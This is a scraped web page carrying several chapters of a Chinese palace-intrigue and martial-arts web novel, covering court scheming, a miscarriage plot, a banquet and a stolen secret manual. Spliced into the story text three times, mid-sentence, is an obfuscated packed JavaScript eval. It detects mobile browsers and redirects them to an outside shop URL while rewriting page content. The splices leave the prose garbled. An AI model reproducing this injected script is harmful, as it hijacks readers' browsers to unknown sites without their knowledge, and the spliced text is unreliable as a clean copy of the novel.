她一直清楚,自己之所以得了圣人青眼,不过是因为自己忠心、本分,不去奢求不该奢求的东西。 可这个孩子将一切都打乱了。 若是圣人就此产生芥蒂,舍弃了她,那她又该如何自处? 甄修仪本不是话多的人,可此刻她再也控制不住,双唇颤抖,句句恳求止不住地从口中泻出。 “宁妃心狠手辣,断不会容我二人性命!只求圣人垂怜一二,妾……妾愿往上清观带发修行,了此残生,再不踏入这红尘半步!” “若是圣人还信得过妾半分,妾愿长伴圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215077|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人左右,鞍前马后,做牛做马,也绝无二心……” “妾死不足惜,只是腹中孩儿何其无辜,但凭圣人一句话,要妾生,妾便生;要妾死,妾绝不敢有片刻迟疑……” 篮子里的残花堆了个半满,甄修仪依旧喋喋不休,没有住口。 圣人终于不耐烦了。 手一抖,“咔嚓”一声,一朵开得正盛的山茶被剪断,残红委地。 圣人顿时兴致全无,冷冷瞥了甄修仪一眼,随手将银剪递给宫人,蹙眉道:“知道了,好生养着吧,后日宫宴你也不必去了。” 她伸出手,立刻有宫女上前,用丝帕慢条斯理地为她擦着指尖。 “常芸。”她招来一个眉目伶俐的年轻太监,只用鼻尖轻轻一点,冲甄修仪道,“有话与他说吧。” 而后径自离去。 “……圣人!” 甄修仪挣扎着想要前去,却叫一只手稳稳地按住了肩膀。 “修仪娘娘,请起吧。” 那年轻太监头上簪着一朵山茶,衬得一张脸愈发清秀。 他手脚利索,说话也如珠落玉盘般干脆:“圣人乏了,修仪娘娘有话与臣说便是。” 双手一提,轻轻松松便将甄修仪从地上扶起。 殿内宫人早已随圣人离去,只余下一个宫女的剪影,发髻在花丛中半藏半露。 那半张脸瞧着有些面熟,甄修仪情急之下并未深思,一时想不起在哪里见过。下人们总是长得差不多的,她便没有放在心上。 打量那宫女的位置听不见他们说话,甄修仪压低了声音道:“有劳小常掌事了,你看圣人的意思是……” 年轻太监扶住她的手腕,凑近了些许,用只有两人能听见的声音道:“宁妃此刻定已得了消息,还请娘娘回去后‘病’上一场,如此,圣人也好有由头将娘娘接入清微宫照料不是?” 甄修仪天生一片病容,装病于她而言是手到擒来的把戏,她立刻点头,领着女官匆匆离去。 待人离开,那花丛后的人影款款走了出来。 “你这哄人的本事倒是愈发精进了。” 她手中执着一支残花,斜斜地倚在墙边,讥笑道:“这花开得正艳,剪了倒是可惜了。” 年轻太监转过身,瞧见她的神情,又将头扭过去,冷哼道:“你若是说这个,那便请回吧。” 等了半晌,却不见那女子离去,反倒听她“噗嗤”一声笑了。 他一回头,便见她已疾步来到近前,脸上一麻,竟是被她用那花朵抽了一下。 “你还敢摆脸色,也不看看我都是为了谁!” 年轻太监嘻笑一声,将那残花一抽,顺势握住女子的手,捏了两下:“我自然知道,我不过与她说了两句话,你……你真是不讲理。” 他的声音越来越轻,气息却越来越重,说到最后,已将那女子揽至怀中。 女子飞了他一眼,在他手背上拍了一巴掌,却并未使力,倒像是猫抓似的,打得他心里直痒痒。 她又将那残花夺回来,细心地别在他的鬓边:“得了,消息我已传到,也该回去了。” 年轻太监左右张望,见无人瞧见,又在她屁股上揉了两把,道:“还是老法子,记住了。” 女子点头,旋即又好奇道:“这次是药局?太医?还是什么法子?” “这你就不要问了。” “嘁,不问就不问,总之安排妥当就好。” 年轻太监点头:“那是自然。这次若仍是女胎,便叫它自然化了去。左右你是宁妃的人,火怎么烧也烧不到清微宫来。” “你这死人!”女子狠狠戳了他一指,咬着他耳朵低骂道,“烧我难道就行?” “我怎么舍得呢!放心吧,不会出事的,真有万一,也有干爹在呢。” “哼!” 女子嗔了他一眼,抽身离去。 离了清微宫,她轻轻抖了抖衣衫,又在风中立了片刻。 待身上的花香散尽,才复又换上一副低眉顺眼的模样,疾步往云笈阁的方向走去。 36. 默契 二十二,宜祭祀,忌宴饮。 禳灾祈福、超度亡魂的斋醮设在这一日。 齐王近日刚自云州办差回来。圣人那位亲侄子在云州强征劳役、霸占民田,大肆修建长生观一事已水落石出,他需向官家当面回奏。 为了给他接风洗尘,宫宴也设在这一日。 祭祀一早便开始,密密麻麻的人群之中,屠骁终于见到那位权倾朝野、神龙见首不见尾的国师。 他围着一个足有两人宽、一人高的大鼎迈步,时而进、时而退,手中一把剑舞得赫赫生风。 远远瞧去,只能瞧见他面如冠玉,目若朗星,一袭八卦道袍,仙风道骨,瞧来不过二十许人。虽在眉心处有一道长长的疮疤,却丝毫不掩仙姿风华。 他的声音舒朗,似山涧清泉流过石上,泠泠作响,听来像是位年轻书生。 “你瞧他多大?” “嗯……三十有余?” “我就知道你猜不到,他已近天命之年了!” 屠骁先是吃了一惊,转念一想,又不以为然。 年纪大小最容易作伪,所说的年纪越大,岂不是越能彰显他驻颜有术,道法通玄? 她心中真正在意的,是这人所用的“梦断”究竟是从哪里得来的?他那西天魔教的幻术又是传承于谁? 莫非他与自己那位朋友还有什么渊源? 她忽的又想到,这样霸道的迷香,官家又怎么能避得过去呢?或许官家不过是为迷药所惑,受其蒙蔽,压根就不知道国师的勾当? 念头一起,她又忙摇了摇头,心道我怎么这么荒唐?怎么倒先替旁人开脱起来了? 这倒也不能怪她。 自古以来,天子威严凡人不敢仰视,即便其行事悖谬,世人也只好绞尽脑汁为他寻些借口。 只因若是承认了天子荒唐,这天塌了下来,岂不是人人都要被砸个粉身碎骨? 屠骁不信鬼神,更不信这妖道,但她这一拜,却是拜得极其诚心、极其认真、极其哀伤。 因为她知道,柳娘已是实实在在地魂消魄散了。这是她第一次,也是最后一次与柳娘真正告别,只愿柳娘身死魂灭,从此永离凡尘苦痛迷惘。 只是如此想着,她仍难免心痛。 或许这世间的痛苦从来都不会消失,只是会从一个人身上转移到另一个人身上。正因如此,这世上的痛苦才那样多,那样让人难以忍受。 屠骁跪了许久,一直没有起身,周围宫人也实在不忍打扰她的悼亡之举。许久,终于有人出声提醒,她这才慢慢地从地上爬起。 跪得久了,她刚一起身,便晃了一晃。 章简心头一动,下意识便要伸手相扶,不料身侧人影一闪,吕自安已抢先一步,扶住了她的手臂。 章简心中陡然一沉。 他离开不过数日,吕自安竟已与昭仪娘娘如此亲近了? 当真是好心机,好手段! 转念又想:吕自安如今是守静宫的掌事太监,我不过是个听差的殿头,又与干爹划清了界限,早已不是昔日的权都知了。 人情冷暖,世态炎凉,一向不都是如此,又有什么可怨怼的? 谁又能知道,这一场苦肉计正是干爹托付的重任?谁又能知道,我才是真正运筹帷幄的那个人? 且由得他们得意,待日后我重回高位,有他们的好看! 章简将自己安慰了一通,找遍了理由,可心中酸楚却久久不曾缓解。 正在此时,昭仪娘娘已松开吕自安之手,回过头来,向他眨了眨眼。 这一动作隐秘又亲近,一股暖流登时传遍四肢百骸,叫章简顿觉说不出的妥帖舒畅。他胸中郁结之气一扫而空,不由自主地笑了起来。 事到如今,他已经分不清自己是逢场作戏,还是当真对她动了心思。 他只知道这一眼胜过千言万语,意味着她仍信他、重他,他们二人之间仍有着旁人不可得知的秘密和默契。 法事毕,离晚间宫宴已无多少时候。 六宫妃嫔要回宫梳妆,内侍省要备办宴席诸般用具,一时间人仰马翻。 往日这些事本该由章简一手操办,如今骤然闲下,他倒有些不习惯。 不过宫中之人素来捧高踩低,见了他这落于平阳的虎,只怕又是一番冷嘲热讽、奚落作弄,他也乐得不再插手。 黄昏飘雪。 章简拢着手候在殿外,待雪积了薄薄一层,方才见元鸣出来:“娘娘叫你进去。” 章简掸开肩上几片落雪,走了进去。 屠骁已画好了妆,正坐在镜前,只待换上宫装。 她在镜中冲他招了招手,将首饰收至匣中,起身来至桌前,神情一如往日。 他便一如往日,走了过去,在她对面坐下。 屠骁开门见山:“我问你,今日章伴去了哪里?这样重要的祭祀,他哪有不随侍左右的道理?” 章简自然知道干爹是去了上清观,更从干爹那里得来了消息——先淑妃的尸身并未火化,甚至不在观中,不知被藏去了哪里。 看来,国师要么是打算以之为质要挟万昭仪了,要么,二人已暗中达成协议。 他们虽不知道那日在五方塔底发生了什么,但国师既然肯放出万昭仪,岂不正说明,万昭仪是真的掌握了长生箓的秘密? 否则她哪里有命从五方塔出来呢? 但这消息,他又怎么可能对她讲? 于是苦笑一声,道:“或许是官家另有差遣。臣如今已与他恩断义绝,他的行踪也不是那么容易探听得到了。” 屠骁点了点头,又问:“你之前信中说,他手中有长生箓的副本?” 章简压低了声音,身子微微前倾:“这虽是我的猜测,却九成九为真。长生箓本就是经他之手献于官家,若是他没有私下抄录,又有谁肯信?” 屠骁一边沉吟,一边递了杯茶水过去。 章简顺手接过,抿了一口,又道:“娘娘细想,他若是没有副本,这些年又何必为此辗转反侧,苦寻破解的办法呢?这不但是为官家,更是为了他自己啊!” “可我连长生箓都没见过呢……啊!” 屠骁拧眉思索,似乎想起什么,短促地低呼一声,面色变了两变。 她似乎不记得自己在官家寝殿的胡言乱语了,那番话该知道的人早已知道了。 章简不语,听她继续道:“即便我真的见过,也不知道破解之法,何况这么久了我早已忘了。” 她又叹了口气:“何况,你猜测章怀恩有副本,我也只是猜测我见过那东西是长生箓,甚至连猜测都算不上……这简直是痴人说梦!” 章简笑道:“这倒无妨。臣知道他将那副本藏在哪里,只要设法取出,咱们便可先行一步。是真是假,一看便知。” 屠骁似是被说动了,犹豫道:“可是……” 章简再接再厉:“娘娘痴迷武学,难道不知道,一本武林秘笈于习武之人是多么的重要?娘娘难道竟不想一窥长生不死的奥秘么?” “我倒是想,可惜如今入了宫,再也练不了武了。唉!” 屠骁长叹一声,面上却已心动了,不过对样玄妙之事,她仍是做出半信半疑的样子。 “我入宫前倒是听过江湖传闻,却从没听屠家娘子提起过,因此只当那传闻是无稽之谈。这长生箓,当真有奇效么?” 章简重重点头:“连官家与国师都深信不疑,绝不可能有假。娘娘无法修习,那咱们只管将破解之法试出来,献给官家,岂不又是大功一件?” “更何况,有了这办法在手,区区一个章怀恩又如何,到时天下英雄岂不是任凭娘娘差遣?不过,只怕……” 话到此处,他顿了一顿,意有所指,“只怕到那时,娘娘便不舍得将这办法让给旁人了。” 屠骁一会儿抿着唇,一会儿咬着牙,手指搓来搓去,喃喃自语道:“有理,有理。我与屠家娘子交情不深,她不对我提起家中秘辛,也是情有可原。而且,长生箓若是假的,她又何必将那册子毁了呢……” 思来想去,她似是终于下定决心,在桌上重重一拍,长叹一声。 “一定是那册子!” 虽早就听闻了当日殿上昭仪娘娘的“疯语”,知道她见过长生箓,章简仍故作讶然道:“的确,章怀恩说过,那长生箓上的字并非世间任何一种文字,定然是屠家独门自创。难道说,娘娘口中那册子就是了?” 屠骁颔首:“或许吧。不过我看不懂,只当是胡乱涂画的草稿。让我想想……” 她作势伸出手指,在桌上划了两笔。 章简忙伸手止住她:“娘娘不必告诉臣,待臣将那副本取出,咱们再做计较。” 屠骁微笑:“好,你待何时动手?” 章简也微笑:“就在今夜。” “今夜?” “正是。” 章简施施然道:“宫宴这等场合,章怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216899|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩必然在官家身边伺候。臣如今不过是一介杂役,没有资格随侍娘娘左右,而这正是天赐良机啊!” 屠骁又迟疑了:“可是他身边高手如云,不说别的,单单是上回那六个人,就够你好受的了。” 她大概不清楚他的武功有多深,竟还担心起这个来了,章简不由地想要咧开嘴,却强行压住嘴角,郑重地点点头。 “放心,臣有分寸。” 屠骁思来想去,关心道:“不如叫吕自安与你一起吧?听闻他身手极佳,也好跟你有个照应。” 吕自安,怎么又是吕自安? 章简心头陡然窜起一股无名火。 她的信任竟是如此廉价,可以随意分给任何一个人吗? 这样的机密大事,她竟然还想要吕自安插手? 凭什么? 就凭吕自安曾伺候过万淑妃?就凭吕自安是守静宫的掌事? 一个掌事之位,有什么了不起? 还“极佳”,他也配? 心中翻腾不休,章简脸上笑意却不变,只略显僵硬:“吕掌事还是随侍娘娘身侧为好,他若是不在,只怕反倒惹人注目了。” 屠骁瞧着他神情,忽的展颜一笑,道:“你瞧我,关心则乱!我倒是忘了,论身手,这宫里又有谁能比得上你呢?你上回那一掌实在是把我打得不轻,到现在还没好呢。” 她边笑,边在自己肩膀上揉了两下。 章简满腔怒火霎时烟消云散,又叫她毫无芥蒂的样子惹得心中乱跳。 他心想,说到底,她不过是个刚入宫的小孩子,脾气又急,哪里考虑得了那么多?一时口不择言,归根结底也是为我着想。 于是也笑了,道:“娘娘放心吧。” 屠骁含笑点头。 正当章简要告退离去,她却忽又开口:“方才瞧你的神色,你似乎认得那位屠家娘子。” 章简脚步一顿,摇头道:“……不认得。” 屠骁暗自攥紧了拳,面上笑意不减:“是么?我倒听她提起过你。” 章简登时呆住了,只觉屋外漫天风雪都灌入头顶,寒风穿过七窍,在他空洞的躯壳内呜呜作响。 他慌忙转过头去,不敢让屠骁瞧见自己神色,口中却不由自主地问道:“她……她说了些什么?她又怎么会认得我?” 屠骁没有错过他骤变的脸色,心中只觉一阵翻江倒海般的恶心。 这是什么意思?他竟会后悔? 他竟还有脸后悔? 难道后悔就能抵消他的滔天罪孽?难道放下屠刀,往日冤仇就能一笔勾销? 她柔声道:“她说……哎呀,她说了什么呢?” 瞧着章简紧绷的背影,她嘴角勾起一丝冰冷的讥诮,语气却轻柔得有如梦呓。 “她好像说过,曾在桃源山中救过一人,那人自称文约,秀气得像个小娘子似的。她自大火中侥幸逃生,一路亡命奔袭,也来不及回头,不知道那人后来如何了,是否也葬身火海……” 章简只觉自己化作了一个泥人,这一字一句便如同一柄无形巨锤,狠狠击在自己的天灵盖上,将他瞬间都砸成了碎片。 原来她还记得他,原来她至死都不知道罪魁祸首是谁…… 她甚至根本不知道他是个太监! 直到此刻,他才想起问自己—— 我为什么会对这位万昭仪如此不同?真的只是为了长生箓吗? 难道不是因为她和她……她们其实如此相像,像到有时连他也分不清? 他究在意的究竟是眼前的万昭仪,还是屠家娘子? 一个人只有一颗心,怎么能分作两半,给两个人? 一个人若是没有心,又该拿什么给别人? 正心乱如麻间,又听得一盆冰水迎头泼下,将他那满地残躯彻底化成一滩烂泥—— “或许他也死在那场大火里了,即便活着,与她而也再无干系了。” 再无干系,的确。 章简呆坐良久,才哑声道:“……兴许是她记错了。” 屠骁浑不在意:“是吗?也有可能。我与她交情不深,她也不爱与我谈论往事。” 章简站起身,神情已复又变得恭敬、和善,泰然自若。 他一丝不苟地躬身,一丝不苟地与屠骁商议计策,一丝不苟地告辞,请娘娘等他的好消息。 只是他忘了一件事——他忘了关门。 北风卷地,雪已飘入了屋内。 37. 不安 吕自安的心跳得很快。 不安就像是凛冬的风,不知从何处来,不知到何处去,却已将他吹得遍体生寒。 雪是在宫宴之前下的。 宴席本设在半开放的亭榭之中,如今只能移入暖阁。 从吕自安站立的地方,只能瞧见窗外几根被雪压弯了的枯枝,像是惨白的手骨探向灰蒙蒙的天,云笈阁的小楼已被布帘、风雪和重重殿宇完全隔绝在外。 他的心跳得像一面破鼓,他隐约觉得今夜有事要发生,可他想不出是什么事。昭仪娘娘吩咐的事分明早已办妥,他不该感到不安。 午时,他去了京里最喧闹、最廉价的一座酒楼,在寻到了他要找的人——一个乞丐。 这乞丐十分奇怪。 他腰间系着个缺口的酒葫芦,发丝、胡须被油泥凝成一缕一缕,随意地垂在面前。 衣衫已成布条,上头沾满了菜汤、泥土和呕吐物,但吕自安看得出,那本是上好的苏绣杭绸,是寻常富家子弟也穿不起的料子。 他的一举一动也不像个乞丐,倒像个风流倜傥、落拓失势的世家贵族。 葫芦里装的是柜上最贵的酒,却一文钱也没有花——这酒是用“拳头”买来的。 只要店家肯赏他一碗酒,他便叫店家的小二打上三拳。 他从不躲,也从不吭声,无论挨多少拳,他都只是笑。 酒馆里甚至有无聊的豪客,专为看他挨打而赏钱,他也照单全收,只要有酒喝,他便已是心满意足。 他似乎永远也喝不够,也永远也感觉不到痛。 江湖中什么奇人都有,什么样的怪癖都不足为奇,何况他只是一个乞丐,再怎么疯癫也不会引人注目的。 不过,旁人瞧不出,吕自安却知道,眼前的落拓乞丐一定身手不凡,一定就是“万昭仪”叫他找的人。 但他只是在心中猜测,却并没有开口询问。 只要二大王能平平安安,他宁愿做一个哑巴、一个瞎子、一个聋子。 这乞丐似醉似醒,大叫大笑,任凭吕自安如何询问也不肯开口,直到吕自安为他买了一碗酒,他才终于安静下来。 那酒才十文钱,那乞丐却赞不绝口:“好酒,好酒……不要钱的酒,简直是天下最好的酒!” 他一口气喝干了酒,一双晶亮的眼忽的盯住了吕自安的脖颈。 刹那之间,乞丐不见了,懒散的醉意消失得无影无踪,坐在那里的仿佛是一位睥睨天下的帝王。 他凑近了些,带着酒气的呼吸喷在吕自安面上:“你是宫里的人?她有什么话?” 吕自安知道自己没有找错人,便将一枚蜡丸递了过去。 蜡丸上用针尖细细地刻着一朵奇特的图纹,那人接过蜡丸,用指腹在那图纹上摩挲了片刻,这才转过身去,悄然捏开了蜡丸。 他看过里面的东西,沉吟片刻,又伸出两根手指掐算起来,口中低声喃喃。 “半年……不,或许更短……” 半晌,他才一拍大腿,低声道:“四个半月!那人是四个半月前中的毒。” 吕自安的心一缩,他隐约猜得到“那人”指的是谁。 那乞丐又喃喃道:“这毒需每日按时服用才可致死,绝无误食的可能。可怜,可怜!” 他口中说着可怜,目光却并无半分同情,一双眼审视着吕自安,如同一只苍鹰俯视泥土中打滚的蛆虫。 这眼神只维持了片刻,他又恢复了那副醉鬼的模样,摇头晃脑道:“宫墙锁,三千柳,一枝独秀惹人愁。金玉衣,催命酒,雨打坟头草稠稠……” 吕自安没有再问,只是将那乞丐的话原封不动地带回了守静宫。 他永远也忘不了昭仪娘娘听到这句话的反应。 那张脸上先是闪过惊愕,随即是滔天的愤怒,最后,那一切情绪都沉淀了下去,她的嘴角、眉毛都恢复如常。 只有一双眼,仍然闪烁着凶光。 那是他第一次在一个女人的脸上看到如此危险的表情。 她淡淡道:“多谢你,吕掌事,此事与你无关了。” 吕自安很庆幸这杀意并非冲着自己。 他更清楚,昭仪娘娘正在谋划一件极其危险的事,而他有幸不必卷入其中,或许还能保住这条命。 然而,此事当真与他无关了吗? 地上的积雪已有寸许厚,雪停了片刻,又开始纷纷扬扬地飘落。 吕自安侍立在昭仪娘娘的席后,余光瞥向人群末尾,只见云笈阁宫女齐贞正匆匆跑来,与一名女官低声交谈了几句。 随即,那女官快步走到宁妃身后,俯身耳语。 宁妃的脸色微变,嘴唇翕动,低声回复了几句。 吕自安听不清她们在说什么,但他看清了宁妃的口型。 ——二大王。 他的血霎时间凉了半截。 他寻了个由头悄悄退出了暖香阁,殿外风雪扑面,他一眼便看见云笈阁的几名太监宫女正缩在廊下,面带泪痕。 “出什么事了?”他急问道。 那几人对视一眼,有些犹豫。 他们虽见宁妃不喜二大王,却也知道皇嗣的重要性,不敢贸然声张。不论如何,主子出了事,第一个遭殃的就是他们这些下人。 吕自安愈发焦急:“二大王怎么了?” 几人素知吕自安与二大王交好,见他果然知道了,便不再隐瞒,哽咽道:“二大王在清微宫冲撞了甄修仪,已经叫常怀德拿下了!” 二大王素来小心,怎么会出现在清微宫?又怎么会冲撞了甄修仪? 吕自安来不及细想,只觉脑中“嗡”的一声。 又有一人低低哭道:“宁妃娘娘叫我等万不可声张,一切等宫宴之后再说。” 吕自安的手微微发颤,下意识摸向腰际。 那里本该有一把砍竹刀,本该别着一只木刻的梅花,此刻却是空空如也。 “就依宁妃娘娘的话,回去守着吧。” 他顿了顿,又对其中一人道,“劳烦你,替我向昭仪娘娘告个假。” 说罢,便转身步入风雪之中。 “此菜名为澡雪芙蓉,愿助仙君涤尘虑,明道心,早证仙缘——” 宫宴一如往常。 官家端坐上首,章怀恩恭立一旁,为他斟酒布菜。他身旁还有一个空置的座位,与他的座椅平齐,是专为国师而置。 这位国师虽从不参与宫宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225690|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但官家每一次都会为他设座,以示尊崇。 空位之下,依次是皇后、宁妃、德妃,再往下,便是屠骁。 右下首,则是齐王夫妻。 依着修道的习惯,官家只食些香草,饮些清露。他脸上泛着一层薄红,笑容慈祥和蔼,像是有些醉了。 场中丝竹之声悠扬,奏的是虚无缥缈的道家仙乐,不似人间之音,倒像是为死人做的道场。桌上的菜色也多以冷盘为主,虽样式精巧、名字动听,却叫人难以下咽。 这一切像祭祀,像丧仪,唯独不像一场家宴。 屠骁浑身别扭,但其余妃嫔早已见惯了这等场面,并未表现出任何异常。 圣人含情脉脉地凝望着官家,柔声与他低语;德妃抿着唇自斟自饮,时不时与身后的女官耳语。 而宁妃似乎是胃口不好,面前的菜色分毫未动。 对面,齐王妃正巧笑着为齐王劝酒,姿态亲昵,齐王面容温润,时不时低头与王妃耳语,一副鹣鲽情深的模样。 不知齐王妃说了什么,齐王忽的轻笑一声,嗔怪地拍了拍她的手背,她的脸霎时便红了,扭过头去不再看他。 一只手突然出现在屠骁面前,那手微微发颤,盘中的果子险些跌落在桌上。 屠骁不动声色地握住那只手,微微用了几分力,微笑提醒:“金娘子,小心些。” 金拂迅速收回投向齐王的视线,冲屠骁微微点头,面色愈发肃穆。而后随着二位司膳跪倒在地,为官家继续解说菜色的巧思与用料。 听到金拂的声音,齐王终于抬起了头。 他的目光本是随意掠过对面,却像是被什么勾住,猛然在屠骁身上停住,面上露出骇然之色。被他盯着的屠骁却十分淡定,甚至冲他微微颔首致意。 似是被这目光烫了一下,齐王手中酒杯“当啷”一声落在案上,他慌忙别开眼,晃了晃身子。 这声响动打断了金拂的话,也惊动了御座上的官家。 “齐王,你醉了。” 这不是一个问句。 齐王即便没有醉,此刻也只能醉了。 他苦笑一声,叉手道:“仙君恕罪,臣……臣此去数月,久不饮酒,一时失态,请仙君勿怪。” 官家却笑道:“无妨,多喝些,酒量自然就回来了。” 他转头吩咐章怀恩将十坛东皋酒送往齐王府。 齐王与王妃连忙起身谢恩,此后他二人便再也没有碰过酒杯。 酒过三巡,便到了官家每日修行的时辰,章怀恩引着官家离去,齐王也忙起身告辞。 官家却摆了摆手,叫他不必急着走,说今年膳房新制的几样果子颇为精巧,让他好生品尝。 又道今夜雪大,路滑难行,便是宿在宫中也无妨。 齐王只得再度谢恩,恭送圣驾。 官家已走,圣人也不肯再留,当即也起身离去,命宁、德二妃安置齐王夫妻。 齐王夫妻又是谢恩。 这一番礼节过后,齐王再抬眼望去,对面昭仪的席位上已是空空如也。 齐王视线在金拂的背影上停留了片刻,而后对着王妃笑了笑,柔声道:“我出去醒醒酒。外头风大,你在这里好生歇着。” 38. 宫乱1 酉时正,飘雪。 风雪吹得飞檐下的宫灯明灭不定,光影在廊柱间摇曳。 齐王是顺着雪地里的两行脚印寻来的,其中一行印记很轻,若非有心之人,绝难察觉。若非轻功上佳,也绝难留下这样轻浅的脚印。 他终于在一处回廊的尽头追上了人。四下无人,只有风雪的呼啸,他的呼声也被这风吹得很远。 “昭仪娘娘!” 前方的人脚步一顿,缓缓回身,兜帽下的双眸审视着齐王。 齐王一袭锦袍,身形颀长,眉目间自有一股文雅清贵之气,纵然带着三分酒意,步履依旧沉稳端庄。他望着两个戴着兜帽的身影,叉手行了个礼。 元鸣也忙还礼。 可齐王却并未就此离去,反而大步流星地走了过来。 元鸣心头一凛,忙错步挡在屠骁身前,却被屠骁一只手轻轻按住。 元鸣的目光飞快地扫过四周,风雪弥漫,不见人影,她这才稍稍放下心,拎着伞退至一旁。 齐王已来到屠骁近前。 寒风早已吹散了他身上的酒气,他一双眼亮得惊人,压低了声音,仿佛怕吹飞了对方肩头的雪花。 “娘娘瞧着面熟,倒是叫我想起了一位故人。” 他说着竟探出手,想去摘屠骁头上的兜帽。 但手尚未触及帽檐,便停在了半空。 他的腕上三寸已叫两根手指搭住,那两根纤纤玉指只是轻描淡写地一点,却如同玄铁金石,叫他不能再进分毫。 屠骁冷声问:“不知大王说的是哪一位?莫非……是曾替大王劫过囚的故人么?” 齐王的动作陡然僵住,探出的手也缓缓收了回去。 这个问题他无法回答。 他虽侥幸见过那人的模样,却从未问过那人的名字,更不敢公然提及她的身份。因为那是一桩绝不可告人的交易,一个足以让他万劫不复的秘密—— 他花一万两银子雇了一名刺客,请她将一名死囚劫走,而那名死囚正是先唐王的心腹。 事后他并非没有动过灭口的念头,可他派出去的人甚至连一招都未出,便已铩羽而归。 “我绝无可能杀她。”这是他的人带回来的话。 他只好息了心思,又送上一万两银子作为赔罪,赌她会信守江湖道义,将这个秘密烂在肚子里。 可今夜,他竟在宫里见到了她! 她是何时入的宫,又怎么会成了昭仪娘娘? 她有没有将他的秘密说出去? 金拂呢?金拂为什么不惜一切也要离开齐王府? 难道是为了她? 她们究竟想做什么? 屠骁既已挑明,便不再与他客套,淡漠道:“大王尽可放心,我不是你的那位故人,也不知道你们之间的恩怨。” 齐王盯着她被兜帽半遮住的脸,沉默了片刻,忽然退后一步,叉手道:“方才是我唐突了,请娘娘恕罪。” 他抬起头,话锋却是一转,“娘娘久居楚州,不知这宫里的菜色,可还吃得惯?” 不等屠骁回答,他又微微一笑,从容解释:“金娘子原是我府中的厨娘,方才见她与娘娘似有交谈……” 屠骁抬手打断了他:“她与你有什么牵扯,我不在意,也不想知道。” 齐王的眸光微微一动,上前半步,也笑了,那笑容里却多了些微妙:“她与娘娘有什么牵扯,我倒是很想知道。” 屠骁冷哼一声,足尖微动,暗暗蓄力,一枚针已滑至指尖。 齐王却忽的俯下身子,声音却变得很轻、很轻。 “或许,你我所求的,正是同一件事呢?” - 酉时正。 吕自安来至清微宫。 院内无人,殿门紧闭。 圣人的轿子静静停在殿前,地上只有几道凌乱的脚印,几乎快要被新雪覆盖。 满院红梅覆着白雪,本该是一幅绝美的景致,可吕自安却无心欣赏——这里没有二大王的踪影。 这样的大雪天,殿外守卫太监也少了许多,他借着廊柱与山石的掩护,悄无声息地绕到了殿后。 这里同样没有二大王的身影,只有殿内的灯火,将窗格的影子投在雪地。 ——雪是红的。 红色的雪上,是一片红色的脚印。 吕自安的心猛地向下一沉,便在他要掠向那窗格的一刹那,一声惨号撕裂了风雪。 那声音尖锐得不似人声,像是被割断了脖子的鸡,又像是被烈火焚烧的厉鬼。 他的身形一滞。 正在此时,那扇偏殿的门被人狠狠撞开,两个身形剽悍的太监大步流星跨出门来。他们一左一右,死死钳住一个伶仃瘦小的身影,如同两头老鹰攥着小鸡。 那被拖拽的“小鸡”衣衫凌乱,抖如筛糠,一双手上沾满了不知是血还是泥,正死死地攥着拳。 吕自安的杀气已然涌起,可就在他即将出手的那一瞬间,却见那只“小鸡”抬起了头—— 那双眼中没有恐惧,没有愤怒,只有一种纯粹的茫然。 茫然之后,又是漠然。 “小鸡”扭了扭身子。 那挣扎可以算是毫不用力,但那两个壮太监忽的脚步一顿,松开手,任由“小鸡”逃了出去。 他们没有阻止,因为他们的脖子已被人扭断。直到倒下的那一刻,他们还无法相信自己竟会死。 “二大王!” 吕自安身形一晃,飞身掠上前去。 殷煊怔怔望着吕自安,又低头看着自己的手,后怕道:“吕自安……我、我杀人了……” 吕自安几欲哽咽,不再多言,单臂一抄,将人夹在肋下:“走!” 他足尖在雪地里轻轻一点,一个起落,便没入沉沉的夜色与风雪之中。 - 酉时初。 章简在雕一块木头。 刀锋过处,木屑纷飞,可他心中的烦乱却如同越积越厚的雪,丝毫不见消融。 雕刻是他从吕自安那儿学来的手艺,吕自安会的,他自然也能学会。 吕自安说,雕琢外物亦是雕琢本心,能让人静心静气。可章简并没有静下来,因为当他回过神的时候,他发现自己手上已多了三朵桃花。 整整三朵。 连他自己也不清楚为什么会雕桃花。 愣了许久,他终于放下刻刀,将清淤膏取了出来。 清淤膏有两盒,都是万昭仪给他的。 他摩挲着漆盒上殷红的桃花纹路,将盒子凑到鼻端,轻轻一嗅。 他的眉头忽然皱了起来。 而后又用力嗅了两下,复又打开盒盖,用手指挑起一点药膏,再次细细分辨。 他终于察觉到了不对。 从前他没有机会接近官家寝宫,可是如今他知道了。 这气味……这气味里藏着的甜香,与那日官家寝殿的香气竟有七分相似! 电光石火之间,他脑中闪过那日她侍寝后的疯癫模样,那不像是真的失心疯,倒像是…… 幻术! 